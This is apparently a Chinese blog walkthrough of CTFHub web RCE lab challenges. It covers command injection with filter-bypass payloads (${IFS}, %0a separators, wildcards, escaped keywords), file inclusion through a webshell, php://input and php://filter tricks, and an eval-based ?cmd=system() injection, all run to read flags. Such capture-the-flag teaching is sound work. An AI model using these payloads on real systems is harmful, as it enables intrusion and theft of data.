CTFHub(web RCE)

目录

RCE

命令注入

方法一:

方法二:

方法三:

注意:

过滤cat

过滤空格

过滤目录分隔符

过滤运算符

综合过滤练习

文件包含

php://input

远程包含

读取源代码

方法一:

方法二:

方法三:

eval执行


RCE

(remote command/code execute ,远程命令执行)命令执行一般发生在远程,故被称为远程命令执行。分为远程命令执行ping和远程代码执行evel。

命令注入

通过输入一些指令,利用某些特定的函数进行的操作,从而达到命令执行攻击的效果。

打开环境,查看源码

方法一:

输入IP,进行ping;由于没有过滤,直接使用分号(;)闭合前面的语句,执行ls命令

127.0.0.1;ls

(;也可以使用管道符|代替)

查看文件内容

127.0.0.1;cat 260411231915075.php

Ctrl+U查看源代码,找到flag

方法二:

使用HackBar,执行ls命令

/?ip=127.0.0.1;ls

使用cat命令读取260411231915075.php文件

/?ip=127.0.0.1;cat 260411231915075.php

查看源代码后,得到flag

方法三:

执行ls命令,发现文件,使用base64加密这个文件

127.0.0.1;base64 8353116227247.php

使用base64在线解密,得到flag

CyberChef

注意:

1、每个命令之间用(分号)”;”隔开;
说明:各命令的执行结果,不会影响其他命令的。
意思是说每个命令都会执行,但不保证每个命令都执行成功。
2、每个命令之间用&&隔开
说明:若前面的命令执行成功,才会去执行后面的命令。这样的话,可以保证所有的命令执行完毕后,执行的过程都是成功的。
3、每个命令之间用||隔开
说明:||是或的意思,只有前面的命令执行失败后采取执行下一条命令,直到执行成功一条命令为止。
4、|是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
5、&是后台任务符号。后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。

CTF刷题记录CTFHub-RCE-命令注入_ctfhub命令注入-CSDN博客

过滤cat

题目提示:过滤了cat命令之后,你还有什么方法能读到 Flag?

当cat被过滤后,可以使用一下命令进行读取文件的内容
(1)more:一页一页的显示的显示档案内容
(2)less:与more类似,但是比more更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出tac是cat的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体的内容

打开环境,查看源码

使用分号(;)代替回车,执行ls命令

127.0.0.1;ls

使用cat进行读取

127.0.0.1;cat flag_236131298911175.php

回显是cat被过滤了,使用less或more尝试

127.0.0.1;less flag_236131298911175.php

查看源代码后,得到flag

过滤空格

这次过滤了空格,你能绕过吗?

当空格被过滤后,可以使用一下命令进行读取文件的内容
< <> >重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20

打开环境,查看源码

执行ls命令

127.0.0.1|ls

可以看到flag_1910324066450.php文件,尝试用cat进行读取

127.0.0.1;cat flag_1910324066450.php

回显为空格被过滤了,使用<或${IFS}尝试

127.0.0.1;cat<flag_1910324066450.php

127.0.0.1;cat${IFS}flag_1910324066450.php

查看源代码,得到flag

过滤目录分隔符

这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗

此题过滤了目录分割符,flag在/flag_here文件夹下面,因此不能直接读取,我们需要进行命令的拼接。命令分三步执行:

1、ping

127.0.0.1;ls

发现文件夹flag_is_here

2、进入flag_is_here文件夹

使用cd命令,进入到文件夹,ls查看这个文件的内容

127.0.0.1;cd flag_is_here;ls

发现文件夹中的flag_17828224145833.php文件

3、列举flag_is_here文件夹下的文件

使用cat f*读取文件,查看页面源代码,得到flag
127.0.0.1;cd flag_is_here;cat f*

过滤运算符

过滤了几个运算符, 要怎么绕过呢

打开环境,查看源码

执行ls命令

127.0.0.1;ls

使用cat读取文件

127.0.0.1;cat flag_2434873662660.php

查看源代码,得到flag

此题过滤了管道符(|),直接使用逗号(;)分隔

综合过滤练习

打开环境,查看源码

运算符、cat、flag、目录分割符都被过滤

思路:

%0a(换行符),%0d(回车符,$*(在shell命令执行下为空,${IFS}(表示空格)

方法一:

直接使用逗号分隔(;)进行分隔,执行ls命令,发现逗号(;)被过滤

/?ip=127.0.0.1;ls

命令分隔符的绕过姿势
;
%0a
%0d
&

使用%0a试试,发现ls命令被成功执行

/?ip=127.0.0.1%0als

发现一个名为flag_is_here的文件夹和index.php的文件,使用cd命令进入到文件夹下

/?ip=127.0.0.1%0acd flag_is_here%0als


发现空格和flag被过滤,尝试${IFS}进行空格绕过,使用fla\g反斜杠转义flag

/?ip=127.0.0.1%0acd${IFS}fla\g_is_here%0als

成功读取flag_is_here文件夹下的内容

使用cat读取flag_125731555920316.php文件里的内容

/?ip=127.0.0.1%0acd${IFS}fla\g_is_here%0acat${IFS}fla\g_125731555920316.php

发现过滤了cat,直接尝试less

/?ip=127.0.0.1%0acd${IFS}fla\g_is_here%0aless${IFS}fla\g_125731555920316.php

命令执行成功,查看页面源代码得到flag

方法二:

使用通配符进行绕过

/?ip=127.0.0.1%0acd${IFS}f*%0aless${IFS}f*

查看页面源代码,也可以得到flag

参考文章:

CTF刷题记录CTFHub-RCE-命令注入_ctfhub命令注入-CSDN博客

文件包含

文件包含漏洞全面详解-CSDN博客

打开环境,代码如下

strpos(string,find,start)函数,意思是在string字符串中找find的位置,start是查找的开始位置

如果file中没有flag字符串就执行下面的include $_GET["file"]。否则就输出Hacker。

点击查看shell

将ctfhub传的参数用php执行。题目的目的也就是执行shell木马。输入

?file=shell.txt

shell中要传的参数为

ctfhub=system("ls");

 接着返回上一级目录

接下来打开flag,shell传参

ctfhub=system('cat /flag');

得到flag

文件包含漏洞利用的前提条件:
(1)web 应用采用 include 等文件包含函数,并且需要包含的文件路径是通过用户传输参
数的方式引入;
(2)用户能够控制包含文件的参数,被包含的文件可被当前页面访问;

文件包含获取 webshell 的条件:
(1)攻击者需要知道文件存放的物理路径;
(2)对上传文件所在目录拥有可执行权限;
(3)存在文件包含漏洞;

php://input

php://用来访问各个输入/输出流

php://input是个可以访问请求的原始数据的只读流,可以接收post请求作为输入流的输入,将请求作为PHP代码输入,以达到以post的形式进行输入的目的

php://input

作用:可用于查看源码,同时是要查看未压缩文件的只读流。在post请求中能查看请求的原始数据,并将post请求中的post数据当作php代码执行。(只读流是说只能进行读操作的数据)

条件:allow_url_fopen=off/on;allow_url_include=on

打开环境,代码如下

代码意思是如果file 名中六个字符是 “php://” 就执行后面的include函数

使用php://伪协议。php://filterphp://inputphp://filter用于读取源码,php://input用于执行php代码。

点击查看phpinfo查看配置

发现这个的开关是开的,说明可以使用php://input

构造file的值为php://input,post参数为<?php system("ls")?>

因为php://input是执行后面的PHP命令所以要写成php代码形式

用 burpsuite 来进行抓包,在BP上面改包,添加上我们想要的shell.php的内容,

在环境页面,使用bp刷新抓包

发送到重放器后

修改请求方式为POST,目标修改为/?file=php://input,介于POST /与 HTTP/1.1之间

/?file=php://input

添加body为<?php system('ls /');?>,查看上一级文件

<?php system('ls /');?>

在本题使用<?php system('ls');?>无效,要直接使用<?php system('ls /');?>

发现flag所在目录

修改body为<?php system('cat /flag_6489');?> 访问flag

<?php system('cat /flag_6489');?>

找到flag

远程包含

(此题与php://input题目做法类似。)

打开环境,查看源码

提示说没有shell,源码提到了使用file。

点击phpinfo

检查 phpinfo 环境配置信息页面,可以看到这两个功能都是开放的。

在开始页面,点击进入phpinfo的同时,使用bp进行抓包

将所抓内容发送到重放器后,单击右键,修改请求方式

修改请求数据(注意:在构造 payload 的时候要空行输出)

?file=php://input

查看上一级文件

<?php system("ls /"); ?>

检查 flag 文件夹

<?php system('cat /flag');?>

发现flag

远程文件包含(Remote File Inclusion,简称RFI)是一种常见的安全漏洞,它可以允许攻击者远程执行恶意代码或获取敏感信息。攻击者可以通过利用应用程序中易受攻击的包含程序来引入远程文件,这些文件通常包含恶意代码或其他危险的操作。如果应用程序没有正确处理和验证用户输入,那么攻击者就可以通过注入恶意代码来利用这个漏洞。

读取源代码

打开环境,查看源码

题目界面就是源代码。和上一道一样,但是代码有所变化。

if ( substr($_GET["file"], 0, 6) === "php://" )file里面第0个到第6个字符必须等于php://

尝试php://input

input是不起作用,查找资料,得知是allow_url_fopen没有开启。

题目要求必须使用php://。而且flag就在/flag里。

引入另一个php伪协议:

php://filter。

php://filter可以作为一个中间流来处理其他流,具有四个参数:

resource=<要过滤的数据流>   指定了你要筛选过滤的数据流。(必选)

read=<读链的筛选列表>  可以设定一个或多个过滤器名称,以管道符(|)分隔

write=<写链的筛选列表>  可以设定一个或多个过滤器名称,以管道符(|)分隔。

<;两个链的筛选列表>   任何没有以read=或write=作前缀的筛选器列表会视情况应用于读或写链。

php://filter(本地磁盘文件进行读取)
元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写

方法一:

用php://filter实现对文件的访问

?file=php://filter/resource=/flag

方法二:

用下面的payload实现flag以base64加密形式输出:

?file=php://filter/read=convert.base64-encode/resource=/flag

将所得密文base64解码,得到flag

方法三:

刷新页面,使用bp抓包

发送到重放器后,修改请求数据

?file=php://filter/resource=/flag

得到flag

eval执行

eval(xxx)函数将xxx当做PHP语言执行

<?php evaL ($_REQUEST [“cmd”] ) ?>

_REQUEST包含了 GET, _POST, $_COOKIE的所有内容,是它们的集合体。也就内是说只要用其中一种方容式做一个表单,把cmd这个变量给POST或者GET,甚至用cookies就可以把传输上去的内容执行。简而言之,就是执行cmd的值。

PHP eval() 函数 | 菜鸟教程 (runoob.com)

打开环境

代码解释为如果存在cmd参数,那就用eval函数执行cmd参数中的代码,所以本关存在命令执行。

通过ls命令查看当前目录文件,只有一个index.php文件

通过ls /命令查看所有目录

/?cmd=system("ls /");

查看根目录 发现flag_19770,使用cat 命令查看 flag_19770文件

/?cmd=system("cat /flag_19770");	

发现flag

  • 46
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值